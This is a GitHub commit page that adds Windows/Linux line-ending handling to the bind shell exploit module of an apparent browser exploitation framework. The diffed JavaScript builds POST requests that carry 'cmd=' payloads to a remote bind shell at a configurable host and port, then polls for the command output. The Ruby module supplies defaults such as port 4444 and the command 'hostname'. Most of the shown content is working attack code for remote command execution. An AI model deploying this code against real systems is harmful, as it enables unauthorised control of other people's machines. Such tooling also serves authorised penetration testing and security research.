Skip to content

Commit

Permalink
Merge pull request #916 from bmantra/master
Browse files Browse the repository at this point in the history
added option to use only LF in the bind shell module for use with Linux
  • Loading branch information
bmantra committed Jun 28, 2013
2 parents 6c6a33d + 164ff5b commit 8cf17b0
Show file tree
Hide file tree
Showing 2 changed files with 11 additions and 2 deletions.
7 changes: 6 additions & 1 deletion modules/exploits/beefbind/beef_bind_shell/command.js
Original file line number Diff line number Diff line change
Expand Up @@ -9,6 +9,7 @@ beef.execute(function () {
var rport = '<%= @rport %>';
var path = '<%= @path %>';
var cmd = '<%= @cmd %>';
var shellcode ='<%= @shellcode %>';

var uri = "http://" + rhost + ":" + rport + path;

Expand Down Expand Up @@ -73,7 +74,11 @@ beef.execute(function () {
};
xhr.open("POST", uri, false);
xhr.setRequestHeader("Content-Type", "text/plain");
command = "cmd=" + command + "\r\n"; // very important CRLF, otherwise the shellcode returns "More?"
if (shellcode == 'Linux'){
command = "cmd=" + command + "\n"; // very important only LF
}else{
command = "cmd=" + command + "\r\n"; // very important CRLF, otherwise the shellcode returns "More?"
}
xhr.send(command);
setTimeout("get_additional_cmd_results()",500);
};
Expand Down
6 changes: 5 additions & 1 deletion modules/exploits/beefbind/beef_bind_shell/module.rb
Original file line number Diff line number Diff line change
Expand Up @@ -10,7 +10,11 @@ def self.options
{ 'name' => 'rhost', 'ui_label' => 'Host', 'value' => '127.0.0.1'},
{ 'name' => 'rport', 'ui_label' => 'BeEF Bind Port', 'value' => '4444'},
{ 'name' => 'path', 'ui_label' => 'Path', 'value' => '/'},
{ 'name' => 'cmd', 'ui_label' => 'Command', 'value' => 'hostname'}
{ 'name' => 'cmd', 'ui_label' => 'Command', 'value' => 'hostname'},
{ 'name' => 'shellcode', 'type' => 'combobox', 'ui_label' => 'BeEF Bind Shellcode', 'store_type' => 'arraystore',
'store_fields' => ['shellcode'], 'store_data' => [['Windows'],['Linux']],
'valueField' => 'shellcode', 'displayField' => 'shellcode', 'mode' => 'local', 'autoWidth' => true
}
]
end

Expand Down

0 comments on commit 8cf17b0

Please sign in to comment.